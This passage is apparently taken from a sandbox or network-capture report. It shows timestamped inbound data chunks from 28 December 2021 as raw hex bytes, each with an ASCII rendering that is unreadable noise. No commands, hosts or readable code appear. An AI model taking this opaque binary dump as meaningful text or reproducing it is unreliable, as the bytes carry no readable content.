c5 f4 f1 bb 1c eb 2e 2d 5c 7b fa f8 32 2c 17 33 6a f8 99 df c1 09 a0 d9 b9 73 25 00 16 98 de de e7 66 13 95 63 f0 07 ac Data Ascii: %]Vz:!RpE&AK]7O:6BPB@Q1NpA\|MN\TI$og:NS:eP2BS"OWXMHkj]WiS J6$f!w\\|YTSnu3Y>!+s \|O"gE$:6.-\{2,3js%fc
2021-12-28 04:19:41 UTC	3500	IN	Data Raw: f7 14 22 8e ed d8 56 06 b9 78 d5 51 ad 5b 4f 47 6b b6 b8 ef 45 c3 ea 43 de 57 82 3b 4a 51 37 9a 9f 09 5e 93 c7 4c 44 db d5 5f b0 1a ea 9f 99 e1 61 dc 72 7f 67 11 fa eb 7c c2 63 a2 65 c8 f3 33 e8 3a 87 6a 4e ba f0 aa d1 0e 7e e1 1c 8f 0c 8c b7 6a 94 42 ce 57 ed b6 d5 94 90 25 3d e2 61 d9 46 c0 cf 34 da b6 c0 ad e0 32 49 0c 0d 01 b7 39 41 a6 26 9b 6c c8 7e 49 a3 2a 77 cd e7 4d 89 09 ea c1 b7 30 f0 dd 10 52 ea d9 c4 ca e9 10 f8 d7 75 bd a8 0f 4b 74 e2 89 2c e1 b3 17 f5 63 d6 16 97 dc 88 cf 62 2a 2c 3b b8 12 1d 68 84 c0 b0 a3 a6 a5 82 c5 71 39 6a e2 72 cc 80 ad e8 53 6d e1 d8 01 2b d3 41 fe a3 52 dd 6d ad e1 ce c6 af 32 e9 1a b9 54 32 60 8a c5 83 de b5 7b c4 1e fd cb 9e 69 65 f9 1b ef 86 84 be 7c 89 08 87 04 2b f7 27 0a ae 0e 04 94 d0 4e c1 2d 7f 0f ac 0a 42 Data Ascii: "VxQ[OGkECW;JQ7^LD_arg\|ce3:jN~jBW%=aF42I9A&l~IwM0RuKt,cb,;hq9jrSm+ARm2T2`{ie\|+'N-B
2021-12-28 04:19:41 UTC	3516	IN	Data Raw: b5 98 dd 89 89 46 ac 59 76 a9 22 d9 21 09 0d 28 f9 ab 0a 7b 27 0f 3e a4 7b 01 35 1d 92 ed c3 4f 6b f6 6c 27 88 1d 8b bc 06 68 61 06 0e cc c8 ce 36 45 4b c1 15 ab 01 21 f4 6c 1a 75 2a d6 96 0c 1d a4 64 8a 28 ed e8 39 b4 95 ad 0f e8 61 d4 4c 39 f0 db da 61 8e c4 1a 43 3e a5 e3 dd be a1 d8 1f 2b 05 a3 fa 53 08 49 90 d4 31 a5 7b 7b 6d 48 9a 4f 36 0d b7 6a 7f 27 34 9f d6 45 26 3a 00 08 69 98 54 9c 64 f5 56 1a e8 b7 d3 9f d9 e6 e1 25 de 75 43 45 40 03 70 d7 7d 97 b7 4c 09 8a 02 8f 1d 27 7c 00 d3 ff 2e 64 60 46 14 37 39 51 ea 1f 52 07 f5 52 48 60 7b 9d 3a bb a3 8a ee b6 e5 2e 5a 9a 8b 0f 91 22 9a d5 22 a0 5d 1a 8d 1c d6 e1 6e 67 b1 85 62 b2 89 60 87 c2 b0 a2 9c f1 b3 33 78 40 34 47 f6 54 b1 52 1c 2f f3 c3 c9 e0 8f 61 05 c7 e6 57 db e1 b4 3c 4e 2b 1a 4f 39 0f 60 Data Ascii: FYv"!({'>{5Okl'ha6EK!lu*d(9aL9aC>+SI1{{mHO6j'4E&:iTdV%uCE@p}L'\|.d`F79QRRH`{:.Z""]ngb`3x@4GTR/aW<N+O9`
2021-12-28 04:19:41 UTC	3532	IN	Data Raw: 1c 43 7a 7e 96 43 28 d3 18 ef 86 36 ca 7f 7c be c3 3e 70 dd ad f6 ea e6 e6 4f 91 96 de 96 25 70 91 92 0c 83 b6 25 8b 9a 8e 62 de 31 e4 10 5b 38 68 54 6d 18 94 37 29 e1 29 0b 4f 8a cd 8c 0f 22 2c 5c 8f 89 06 fb 57 ad 8f 4a 89 16 7a fa ad 0e d0 46 09 fa 53 a9 b2 50 9c 36 87 c0 3f 76 0b 0b 98 2e 73 20 a5 20 4b d2 9c 34 2a 3c 65 89 c6 0d ae 8f e6 ba 14 91 f5 e9 55 c3 dc eb f0 c5 d4 c2 b8 4a 37 a9 5f 66 c5 b9 48 9e af 62 89 9f d1 39 f5 44 5e 09 8e ee 82 91 93 cb 41 3c 26 5e 0a f2 da b5 55 c4 62 b3 c1 6d 9a 72 3c fe 83 7a 84 a1 b4 24 4b ad 35 25 2f bc 19 bb 51 bd b4 f3 dd 30 f9 0c b9 ef e1 d9 97 e1 5f 88 7d 1f 5c e0 5a 29 26 79 c9 8f 69 af 00 0f bd d6 f9 c5 8f 14 8f 3d 82 c9 5d bd 73 c3 18 0c 6c c7 dc f4 37 dd 2e 6c 5c 87 f1 44 67 b1 6d 91 fa 37 45 85 c3 11 8c Data Ascii: Cz~C(6\|>pO%p%b1[8hTm7))O",\WJzFSP6?v.s K4*<eUJ7_fHb9D^A<&^Ubmr<z$K5%/Q0_}\Z)&yi=]sl7.l\Dgm7E
2021-12-28 04:19:41 UTC	3548	IN	Data Raw: a9 d0 ad bd 85 73 15 60 29 2d 92 5f 33 4a f4 9e 00 18 93 f6 0a 9c c3 c3 d6 36 47 91 fa 6b f4 f5 22 60 c2 34 b7 08 56 0d 38 a9 1a 5b 3e 75 8a aa 55 6a 5a b3 fe 28 fb 33 c5 f7 bb 06 b2 bc ce 8b 76 e8 34 b8 e8 ed 9e 21 06 ff a7 d9 6f a3 69 91 38 36 32 05 97 bb 61 f3 52 95 7f f6 0c 17 99 3a 35 6f dc f7 65 cc b1 21 94 65 e9 7e e5 94 3d 2f d0 ed c3 2e a8 04 5e a1 e5 0f 5b 25 f8 c1 7a 44 6d 6e b0 0d 33 ba d5 7c d7 ee 6a 16 fa 11 0d 9e f3 84 80 6a 3d 97 e4 a3 21 a9 71 52 c2 ad ff 8b 35 ec 64 04 2f 40 c6 fc c2 a0 0f 00 ad 53 6c 32 67 9f f5 bd 60 fd 9c 9e 75 5f 4e 3d 24 6a ea 8b 3c f6 4d 63 cd 0d f4 04 6b 61 62 43 21 a9 fe fe 38 57 0c 1e 1b bf 54 02 f8 90 46 14 cb df 0a 2a 26 6b 4b 39 82 89 6c e8 79 18 75 0a 45 09 e0 7d 51 14 ea 29 38 13 d5 58 4f 82 fa 13 3f 60 23 Data Ascii: s`)-_3J6Gk"`4V8[>uUjZ(3v4!oi862aR:5oe!e~=/.^[%zDmn3\|jj=!qR5d/@Sl2g`u_N=$j<MckabC!8WTF*&kK9lyuE}Q)8XO?`#
2021-12-28 04:19:41 UTC	3564	IN	Data Raw: a8 ef 38 f9 b5 dd ea 63 fc f3 c5 7c 64 42 3f 2f cd c6 5c 79 17 1b d7 10 ac b3 da a1 47 d4 3a 18 1c 8a 50 39 03 96 4c 45 0d b8 1b 4c 5b 66 4c 23 0a c4 4f 1c 73 a7 fe 12 9d 2c 91 4a 1a e0 bd d1 7f cc c6 29 a1 cf 15 73 a0 e2 8a 08 79 60 21 83 47 a3 cb 80 bf 6e 51 b3 59 79 09 f4 51 92 f1 1b 10 fb b0 c6 51 73 d1 ef 12 0f f4 1d c6 81 7d 52 9b 21 36 94 d1 03 e6 49 1a 92 e1 be 48 ed 1e 07 56 68 f1 7e 96 6b 91 3f 85 ae 62 1b 24 80 8e d8 cd ca ea 0e 1c 27 b1 eb b3 36 d1 cc 53 87 a8 c3 9b b2 57 79 0f d1 4d 69 dd 8b 07 ba 0a bc 34 82 1b 55 ce 5d 72 d5 25 44 db 72 54 f7 2a 09 e8 43 19 20 ad 05 8b c3 93 60 fb 82 95 2d 50 25 00 d7 f8 cd 22 f0 69 0d f1 d1 95 d0 cc 5d 57 44 36 bd 3c 2c 37 99 f3 aa f4 c9 cd 32 f6 2a a4 b8 5e 2a 26 9f 34 87 93 c4 46 8a 37 54 95 cc eb bb fe Data Ascii: 8c\|dB?/\yG:P9LEL[fL#Os,J)sy`!GnQYyQQs}R!6IHVh~k?b$'6SWyMi4U]r%DrTC `-P%"i]WD6<,72^*&4F7T
2021-12-28 04:19:41 UTC	3580	IN	Data Raw: e0 69 bc 83 e7 cf 7c a8 e4 6b e4 8d ba 6f 4b d1 67 16 9b 8f e5 df b2 fe e7 17 bb 3d 89 bf 17 c1 05 46 a8 2b d5 8d 06 c8 45 6f a4 89 00 0d 65 57 28 b9 e5 ea 4d 34 a4 6a f7 64 50 ba 95 74 6a 77 97 4e cb f4 9f 36 94 69 62 db 90 00 ab 75 ba 35 71 d7 6b 90 9d 0b 01 98 2a fe 22 b6 6d 4b 2b 4d e5 d2 ea fc 00 56 71 22 2e 64 5f 61 09 05 15 31 38 12 7b 3e 06 c7 61 fd 8e b2 61 af 7f 84 9f b4 26 7c 2f f8 4e ac d4 7b d8 b0 f3 96 f6 61 27 d9 ad 53 0b 3c ce 0b e8 55 6a 22 86 a7 ef 31 5d 5b 0e 28 bc 07 da f5 ed a5 e0 ec b3 fb f5 7d ee 29 80 5f 14 22 38 61 1d fe 90 a2 56 cd 81 1c fa 88 c1 ef 53 8e 4d df 09 b0 1f 1f fa 28 ab fe 37 60 72 47 c6 87 0f 7d d2 70 58 5e 35 8c be ef 0a 07 22 0a 5d 89 d7 97 6e 84 48 55 80 cd 40 49 c7 42 a0 95 89 47 67 0b 96 fb bc a7 ce 40 14 5f 63 Data Ascii: i\|koKg=F+EoeW(M4jdPtjwN6ibu5qk*"mK+MVq".d_a18{>aa&\|/N{a'S<Uj"1][(})_"8aVSM(7`rG}pX^5"]nHU@IBGg@_c
2021-12-28 04:19:41 UTC	3596	IN	Data Raw: 3e 14 e4 bf 62 4e a9 4d 42 7a c4 e5 97 2e 3a 3e b6 b9 2b f0 fe 89 66 d7 d7 fc bf 19 82 1e cf d4 83 8d 6c 1c dd d9 54 94 b5 67 58 4c b4 59 a2 cf e7 45 45 34 85 10 92 9f f8 16 09 a5 bc 4d d7 f2 51 4e 63 4e ae 5b 1b 79 dd e0 2c 4f b9 24 78 2d c2 34 77 c5 25 6d e4 7b 4d a6 5f ba 6d ca ab 31 91 0e d6 52 f6 92 16 0c 45 8d 58 46 41 fa c6 a4 82 82 f5 6d 5b 93 2d ab 74 5a 7e 4c ae 06 d2 9a 7b f8 4b ee 4c 43 25 df f0 2c 4b d3 47 ab 13 0d 9e 55 23 11 11 11 ab 69 00 b4 19 62 69 fc 4b 6c b9 03 a3 09 d7 39 34 d6 f5 a4 b8 06 04 6b ac 79 74 83 84 e0 86 8b c0 0b 5f f2 4d 23 6b 3b 91 c6 5f e3 aa a1 5c d4 9f 16 a3 14 ef b5 82 f6 c3 19 cd 2b 6e 90 40 68 12 45 24 79 5e 3f 95 29 16 27 57 10 7d 1a 6d 38 57 87 cb ed a5 06 b6 73 08 de 8f 55 dd 99 aa ab 41 95 3b 07 c6 16 ce e9 4b Data Ascii: >bNMBz.:>+flTgXLYEE4MQNcN[y,O$x-4w%m{M_m1REXFAm[-tZ~L{KLC%,KGU#ibiKl94kyt_M#k;_\+n@hE$y^?)'W}m8WsUA;K
2021-12-28 04:19:41 UTC	3612	IN	Data Raw: 75 7a b1 9a 62 74 bf 18 39 35 bd b3 91 4f 9e 8d 15 04 9b 6e 62 68 ca 97 05 9b 37 5b ab d2 61 05 d9 5a 8c ad 77 6a 98 b5 10 c6 59 5b c7 6b e2 94 eb 94 77 74 92 eb e4 f6 e5 9f 0a f3 d9 0f f6 1b 76 3d cf da f7 67 0b 1d 64 de 4b ad 85 58 f3 bf 47 b3 bd f4 45 36 f0 f8 1b 34 f7 65 44 f5 1d c4 12 2c f1 ee b8 40 01 94 0a 3e 46 3e 24 62 d3 b4 c3 9c 1d a3 da f4 fa f1 e6 16 f3 76 a2 65 07 7d b0 49 4c e2 69 9e 8a 92 2d e3 c3 df e2 da 5e c9 60 15 6d b8 24 57 8c 24 44 4e 88 6c 77 9e e6 cf d2 1f 1a 95 09 00 b1 f7 c9 f6 70 fc e6 e4 c5 d7 2b 0c b3 af b3 fb 1f 6a 29 16 1a 55 40 1b b0 cc 78 ee 13 44 73 d2 34 34 7a cc 14 ce 70 8f 55 28 d9 bf 99 76 f0 b1 eb 8d f6 6a d5 b8 d0 25 06 c1 1b 60 41 09 8c 5e 22 23 91 6a 79 63 1c d3 03 0a 72 17 5f 8e b0 bf 5d 95 08 34 b2 98 17 ae 57 Data Ascii: uzbt95Onbh7[aZwjY[kwtv=gdKXGE64eD,@>F>$bve}ILi-^`m$W$DNlwp+j)U@xDs44zpU(vj%`A^"#jycr_]4W
2021-12-28 04:19:41 UTC	3628	IN	Data Raw: fa 6e 02 67 9c 86 75 8a 2e 3d f2 40 18 cb f9 d2 e3 e4 14 48 12 26 aa 64 8b 3b 56 1a fa 04 8f ea ca dc 65 c8 13 ae 20 84 0b 1f 31 1b 73 3b e0 d6 cb b4 3b 91 4c e5 f8 3b c6 e5 41 48 eb 22 58 d8 11 ff fb 5d bf d7 81 a7 eb df 20 c2 bc 29 37 6b d1 d9 3b 1e 8b 9e 91 59 20 63 16 0e a3 53 69 ef f7 47 e2 02 f3 36 75 29 f3 25 b2 26 ed c3 78 44 55 7c b8 b7 03 78 79 75 33 c3 13 0d da 15 9f 3b 59 b3 dd f5 33 50 49 f4 f3 94 3c 25 12 cc 02 3c 66 05 7a aa 57 d0 73 fe 1f f2 a1 c5 1f 98 33 6d ec 71 02 a3 e3 a3 2d 18 4a 65 5e 59 f8 1a fd d0 9e 36 8f e3 97 02 04 26 82 85 b9 e1 f5 3a 4b b7 47 8e 3e 9f 78 1e 13 b9 71 04 96 58 4a 97 33 db 96 bf 16 fc fc d6 e2 4f 89 78 e1 bf 0a fa c8 f5 09 e5 39 d6 6e 94 a2 a4 e5 4a 25 1a a1 9b 9f 67 19 ad 54 0a ab 68 71 9d 68 9f 77 43 dd 25 48 Data Ascii: ngu.=@H&d;Ve 1s;;L;AH"X] )7k;Y cSiG6u)%&xDU\|xyu3;Y3PI<%<fzWs3mq-Je^Y6&:KG>xqXJ3Ox9nJ%gThqhwC%H
2021-12-28 04:19:41 UTC	3644	IN	Data Raw: 1b f4 2e 7a b8 5b bc 60 d6 24 d4 bc 43 a7 5a 82 82 48 b3 20 38 8b 99 3c a1 80 d1 3e dd 76 65 42 9d 92 90 e1 76 ee 15 b4 85 5e 9f 83 24 b7 19 6d c8 be 08 c9 4d 5b e7 60 b8 ae f7 6e 65 56 9f 6d 58 45 e8 5c bb d1 e3 6b 91 3a 7d a5 8e a4 a5 f6 c1 b0 6f 17 59 c3 8a bb db 7d be 01 e1 96 98 ef 74 6c 0d 07 e8 de 1c a1 70 2e 41 89 26 fc 98 39 e7 2b ff cf 3a 6c 9c 88 e5 94 2d a2 dc d9 7c d1 fd b0 33 30 07 b0 63 8d 91 88 d2 7f d5 9d 73 a3 a4 44 b4 35 ea 50 38 1e ae c0 87 ee 5e 33 63 07 96 60 5f 02 d5 cf 2d b0 c1 17 46 29 2e 91 80 88 e7 05 7e f1 c1 5c 45 fd ec b5 41 ee ed ee 58 ae 8f 53 24 73 ba 94 d2 2a ad 9d da 8f 46 07 24 43 c0 93 7a 16 2b a6 3b a3 c8 cc 68 88 6c 7f 7d 83 d3 2f 32 27 55 43 ca 28 e0 81 f2 d1 f4 ae 45 d0 08 26 ca c5 e7 6d 5a 81 54 f4 06 37 64 f0 55 Data Ascii: .z[`$CZH 8<>veBv^$mM[`neVmXE\k:}oY}tlp.A&9+:l-\|30csD5P8^3c`_-F).~\EAXS$s*F$Cz+;hl}/2'UC(E&mZT7dU
2021-12-28 04:19:41 UTC	3660	IN	Data Raw: 5a 90 a5 23 29 fa 2a 79 84 b3 0b 19 a6 5e d9 24 a8 87 5b 8d c7 09 d8 9d a0 08 20 c9 15 63 65 5d b2 ac e4 ab c0 2e fb d3 de f0 60 78 96 95 8b 1f 24 c6 85 2b c1 0e 51 89 b5 eb c8 e1 2b 47 fe 88 73 06 64 bb ed e3 7b 35 5a 08 1d 92 0b 65 5f 60 d6 ff 7f 41 f2 d0 92 e6 61 86 8b 8c 37 6d f1 25 8b 38 a4 03 00 16 bb 9e 53 a6 eb a2 66 38 cf 1e a2 2c 50 a4 ee 39 83 bb 48 fb 9d bf d3 99 ce f3 02 f7 1b 71 26 c4 bf f0 91 ee 46 75 40 e9 80 a8 2a 59 67 d3 2f d9 a3 d0 17 7d 53 fa 7d 62 b7 2a d5 3e 10 b4 de b6 c5 57 56 41 14 c5 bd 0b 6f 6f 28 05 0d 98 e6 5e 5c 59 0e 49 1e ca 0c 04 c9 8a 1f 1b 66 73 f0 77 36 27 30 fd 55 c2 e7 b4 29 95 08 90 de 66 29 d4 5c 91 bb 35 66 36 78 15 b5 ed c1 09 d8 b5 12 5a 15 20 52 c2 70 5a d7 ca 9b 9b a3 36 3f eb 42 90 1e e6 36 e2 52 22 fe 20 55 Data Ascii: Z#)y^$[ ce].`x$+Q+Gsd{5Ze_`Aa7m%8Sf8,P9Hq&Fu@Yg/}S}b*>WVAoo(^\YIfsw6'0U)f)\5f6xZ RpZ6?B6R" U
2021-12-28 04:19:41 UTC	3676	IN	Data Raw: 1c c4 b1 51 1b ee d9 f7 03 7d c9 e8 fb 32 93 92 0d 4a f7 af 3e 30 a0 dd 4f f7 a1 fa 97 b6 83 a0 bf 97 f7 b1 10 af 0f 35 a1 8b d6 d7 ca 54 ce e7 19 d8 3c 64 db 04 be b1 3a 1b 32 23 a2 71 e4 ad 8b 5e fb 8a 0f 41 f7 03 b0 ca 79 52 5f 93 ea f2 d1 15 e9 ff de 6a 5e 8e 2f 09 2a 17 76 2b 67 0e 84 ab 45 7b 4e 4a c1 f7 d6 0d 2c 50 cc a9 40 d5 fe 71 5d e9 1a e9 62 be cf 37 32 74 bc 63 46 63 13 03 a0 b4 6d 6a da a4 6a 82 01 d9 da 07 31 09 58 e0 ba 31 fc e8 0e ac 80 31 74 79 4a d8 ab b2 90 62 db 6c b2 81 54 03 50 38 2f 93 8b 1b 69 78 4b b3 d1 69 17 96 36 6b f5 a0 e7 35 f4 41 d8 12 3f 1a cd 23 55 45 e3 01 3b 13 65 1b af 3f b7 93 e4 6a f1 82 c3 eb b7 8c e4 93 ef 9f d9 73 61 28 ee 53 f3 0d df 73 18 6a 21 c7 f6 8f 35 07 42 c6 4d 89 29 33 69 0c 26 c4 2c 4f 62 3e 5d 14 aa Data Ascii: Q}2J>0O5T<d:2#q^AyR_j^/*v+gE{NJ,P@q]b72tcFcmjj1X11tyJblTP8/ixKi6k5A?#UE;e?jsa(Ssj!5BM)3i&,Ob>]
2021-12-28 04:19:41 UTC	3692	IN	Data Raw: f4 1c 0f d5 74 a3 f3 22 a5 47 58 e8 08 50 a0 6a 54 30 02 a5 d8 fe d8 99 d5 eb d2 20 dc 2e 24 6c 3b ba 9b be ca 01 72 64 54 ee 1d 68 26 5e 6b 4d 08 eb d9 a8 15 35 7e 7a fb dc 0f b9 a7 f7 e7 40 45 51 4d 55 10 a6 9d c3 86 02 ed 82 27 b3 df cd f2 91 a6 62 ee 11 34 d5 ad a6 8b 3f 81 f6 80 31 f3 1a a6 5e 47 b4 a8 0a ba 58 ac b9 c6 55 e4 55 90 04 45 68 02 35 f9 4e d1 80 24 ee ce 69 cd ed 31 4f 19 7f c2 24 1a f7 9a 26 d1 77 76 00 26 89 d5 ca 17 16 c2 bc 8f 4e da 10 82 b1 06 df fd 56 ea 00 06 e5 20 67 17 07 ea 1f 3d 6b 32 b9 7c db b5 b4 af 43 e8 f3 6b ff 77 29 36 c4 41 7a 8e f0 68 e2 b3 c9 0b 1f 8c 90 9f 25 a7 72 da 3c e9 5e 93 88 2c 8c 87 9a 7c 1f 44 20 bc ad a3 f3 13 ad 85 09 e3 b4 7a d0 e0 e2 87 a0 65 95 c1 a3 ad e5 ec 10 eb 67 0d 39 3c b6 cf 9b 7c bd 3b 50 32 Data Ascii: t"GXPjT0 .$l;rdTh&^kM5~z@EQMU'b4?1^GXUUEh5N$i1O$&wv&NV g=k2\|Ckw)6Azh%r<^,\|D zeg9<\|;P2
2021-12-28 04:19:41 UTC	3708	IN	Data Raw: f9 13 c4 a0 6d e0 cf 94 d0 24 e6 3f 1f 82 d5 c9 48 0f 91 39 26 38 83 9b 39 6c 7a c0 12 b0 0c af a0 99 89 b3 df fd bd 64 13 a0 ad 95 1a 79 e1 62 8b 5d 62 2d b4 1f 71 ea b5 70 7a 64 db f3 84 14 3d 1f f4 b5 06 49 c2 d3 49 44 0e 3f 90 4b 1a 86 74 f4 3d 35 ea 77 f3 d0 89 f2 77 a4 fd b7 42 7d 3e 18 29 ed bc 08 25 ed ab 0f 27 bc 2f e4 35 1a 7a 68 1c da 2a 1a 65 a5 9c ab ed 6c bf 0e c6 20 88 de 5a a8 c7 a3 df f9 f5 76 ee 68 53 bb 38 34 29 55 87 c5 61 51 33 46 f2 ba ab 1c 8b 36 26 da 5c 35 78 3c 86 ad 9a ea 26 06 b8 47 40 51 11 7c 31 c7 8c ce cf 6e db 88 32 f7 8d bc 2d 01 83 b9 89 0c 05 14 94 1a 8d de 63 9c 4c a4 7f d3 06 c5 63 e5 b1 50 2c e2 0b 7b a9 4b a6 67 35 71 51 af d1 c3 8d b5 20 a6 0f 5d ec 99 98 ef 47 f8 7a b6 51 10 33 17 c6 29 53 50 d6 24 22 5f 1a 1a f9 Data Ascii: m$?H9&89lzdyb]b-qpzd=IID?Kt=5wwB}>)%'/5zh*el ZvhS84)UaQ3F6&\5x<&G@Q\|1n2-cLcP,{Kg5qQ ]GzQ3)SP$"_
2021-12-28 04:19:41 UTC	3724	IN	Data Raw: d0 a8 83 23 d8 63 31 54 5b ed 5e 6e 18 aa 1e d0 ec 97 07 9c 14 a1 4b 99 e6 9d ab 91 9a ff 43 f6 91 7d 3d d2 d3 a8 0d c2 16 10 da df 75 c2 91 04 91 87 af ef a2 9d 17 96 79 3f 01 6a 62 9c 8c b9 44 7f a5 46 97 da 55 e5 2d 5b 39 e3 01 7c 78 33 3a 89 4c e5 8c 1d 87 59 a1 36 b6 ff 4a 9c 79 05 35 95 67 93 c7 72 cd da 2e d6 0c 94 d5 cf 7c de 92 17 ff 16 52 38 31 52 19 e6 8d 00 7c 44 26 4c 6d 10 27 81 86 98 f9 36 75 39 b1 db a4 b5 72 96 7c f3 fa ca e4 84 fe c9 06 f0 6c ab 09 fe 50 7c 91 4a 0d 43 f7 9c 16 d4 57 cd 56 ad 84 2c 1a 04 b9 a0 d9 af 93 b3 8b 7b ac 0c d6 b7 ac 1e 62 4f 42 e7 94 cb f3 4e f8 d5 1c 44 ae 86 f7 b3 56 e8 7f 86 d9 33 fd 38 28 a3 26 be b2 1a c2 02 43 12 dc f6 c1 33 dc 55 31 5a 11 ac 38 10 f1 2a 95 29 9a 31 01 d1 81 b8 27 84 11 44 9e e7 c3 14 64 Data Ascii: #c1T[^nKC}=uy?jbDFU-[9\|x3:LY6Jy5gr.\|R81R\|D&Lm'6u9r\|lP\|JCWV,{bOBNDV38(&C3U1Z8*)1'Dd
2021-12-28 04:19:41 UTC	3740	IN	Data Raw: 38 b8 e5 43 b4 fe 0b 5c 93 e7 18 c9 fe 8b 8a a4 63 c8 f9 95 dc 50 35 29 f3 3e bd e8 a7 ac d6 0e 6c 9b 72 1c 24 50 25 63 af b5 cd c9 ec 88 e7 18 1a ac 37 35 33 55 66 24 7f 95 81 58 ca 43 8f 5a 70 da 05 85 45 3a 8c 22 4b 56 70 22 36 65 2f 1d 98 23 4c bb 69 b3 58 28 33 f2 68 7f 31 3a f0 84 46 8f 6f f0 38 ac 4f 38 37 35 1b 1f 4c b9 9c a3 85 f9 0f e0 a2 86 ef ae 89 f6 f4 ff fc a2 7f 1d 2e 26 13 d0 c0 93 84 49 33 05 b4 a3 ca e3 82 98 d8 9f 68 2a 6e a1 53 79 c2 0e a1 8e 2a 62 2d 8e 0e ab bd 7a c3 cc e1 91 a3 ad db 62 ba c2 40 23 c4 4d 25 12 bf 55 66 8c e8 81 05 dc e0 b0 73 67 9d d3 aa cd 06 8e 9f dd 4d 9b 24 72 af f3 89 79 92 9a 07 a0 bc bd d2 76 3b 39 97 26 09 b0 eb 23 97 b8 0a 18 59 5f e1 0e a6 14 e5 8e 54 8b 48 38 97 44 0e 97 43 f6 c2 f3 ec ec 74 fc 76 31 44 Data Ascii: 8C\cP5)>lr$P%c753Uf$XCZpE:"KVp"6e/#LiX(3h1:Fo8O875L.&I3hnSyb-zb@#M%UfsgM$ryv;9&#Y_TH8DCtv1D
2021-12-28 04:19:41 UTC	3756	IN	Data Raw: c1 d3 55 3d 68 86 df d0 4b 75 b5 4c 78 f6 70 e7 4d 85 75 c8 83 90 b6 43 88 70 b7 1e 3e fb 96 6f 6e 69 bd db 3d 42 09 a6 b3 b4 fe ed d7 93 22 94 ed 78 20 43 e1 ed 6c 0a 61 71 53 67 79 d8 f8 d4 52 3a 9f df cd 81 bd d2 b1 8e a4 73 8a 80 09 8c a0 81 fb 8c d0 b1 88 9f 98 f1 ac 87 d8 63 04 43 c8 ee 6b ca d3 a3 4a 03 00 25 b6 ea a7 6d 90 3a 61 9e 5e fb e5 cd 4a 96 61 a5 6f a5 a6 b8 be cc da 4a 9f 74 51 a7 95 57 13 90 42 db d1 65 41 92 4d 84 f9 97 77 ce 4c e4 df 5a 22 6c 4b dd e7 ef 39 6d fb 74 f8 cd 59 77 04 fc 9a 6c 1f 39 1b 71 51 27 0a 4c 39 a3 cc 75 03 b2 0b 67 a9 33 26 57 cb 66 b6 7b ff 79 e2 b4 23 73 47 43 f9 6b c0 9f b0 80 f8 a6 da 77 7d 00 ec cb f8 37 fd 3c 7b 7b d3 e1 5c 13 b1 4d dc 93 de 50 48 bf d1 ed 00 a7 62 e1 0f 38 71 0a 1f bc d6 ff 80 3f d9 47 3a Data Ascii: U=hKuLxpMuCp>oni=B"x ClaqSgyR:scCkJ%m:a^JaoJtQWBeAMwLZ"lK9mtYwl9qQ'L9ug3&Wf{y#sGCkw}7<{{\MPHb8q?G:
2021-12-28 04:19:41 UTC	3772	IN	Data Raw: 60 6a 7b d9 8a 8d 50 2b 0e 98 41 44 c2 82 99 36 5d f0 a3 f2 94 30 0b e5 7b e1 5f dc b6 d2 0a fe 24 2b 65 eb 58 ff 1b fe 28 5a b7 b0 27 41 b4 99 86 41 b7 aa 08 1a b2 00 ff 7b 40 bd bd 8a 7f 0f 6c bd e4 d8 17 e1 2a 83 be a4 dd f3 60 33 46 62 a0 ee ab 43 89 a0 a0 25 8f 9d c5 38 fb cc b4 d5 c7 61 63 12 a5 e1 cf be a0 36 ff 8f 92 88 5b c4 dc 88 b7 b7 f6 ed c3 f9 2c 40 b6 21 b4 26 8f 7c c8 6c 20 1d 41 f7 84 e8 b4 64 8c c8 b6 c7 b4 bb 5f 35 ae a8 03 5c e6 fb 9a b4 a0 9d 2a 37 1e 10 47 5d 06 58 ae 15 a5 52 e2 88 cb e0 ea 29 ad 7a 1f b7 4d 2a cf 31 20 ad e9 a8 8d 68 bc e0 f9 b8 44 ed c1 7d f8 54 63 e6 12 30 48 9b ae 14 a8 31 fd 96 c3 27 24 b3 b5 94 cc 63 93 6f 63 6d 64 ae 54 6e 2c 50 c8 9d 78 53 d8 74 08 54 24 de b5 97 29 7e 17 25 68 03 77 00 d9 d4 ac 69 65 54 68 Data Ascii: `j{P+AD6]0{_$+eX(Z'AA{@l`3FbC%8ac6[,@!&\|l Ad_5\7G]XR)zM*1 hD}Tc0H1'$cocmdTn,PxStT$)~%hwieTh
2021-12-28 04:19:41 UTC	3788	IN	Data Raw: 34 11 5f f8 7a e5 27 fd 34 25 02 e0 90 f8 28 1f 9b 7d 66 75 0f 12 3d dd 0c 02 e7 30 c7 42 d1 01 26 94 63 32 f3 f7 3c 4c ca 50 ce 28 c0 6c 20 3b b1 d0 8b 4e ba d1 af 29 ff e4 b3 26 bf e0 45 e4 f9 6f ad 83 ec 85 05 7d dc d6 1b d7 76 ce 8a 9a ce a6 0d 7a 70 54 f6 c8 6d 97 3b c5 40 de cc 2c 0b a5 fc 9d 45 af b0 c2 df f2 14 09 b8 93 b3 d6 1d df b6 02 b4 39 db 65 f7 61 f4 d1 8c 7a 51 f4 4c ca 4d 14 94 a6 8f 6d f8 a6 42 ea 43 fb 97 32 aa 03 f8 bd 5b e1 98 3d 48 5c ac 0d 55 d9 7b fd 4a c7 cd dc 2f f2 82 22 f6 84 33 d4 3d 7b 7b 24 2f e8 2c 86 3f ad 06 5a c3 2f f9 81 1f 1e 52 43 8f e0 f1 f8 17 05 71 1a 87 b9 84 19 21 29 c0 01 9a 27 6b cb a1 e5 98 4d a6 e6 ea 57 90 37 26 66 a2 6f b1 f1 d4 f5 bc b4 9c 7b 6c fb 65 37 95 a6 19 86 bc 05 d5 a8 fa e2 2e 36 ea 54 88 f9 51 Data Ascii: 4_z'4%(}fu=0B&c2<LP(l ;N)&Eo}vzpTm;@,E9eazQLMmBC2[=H\U{J/"3={{$/,?Z/RCq!)'kMW7&fo{le7.6TQ
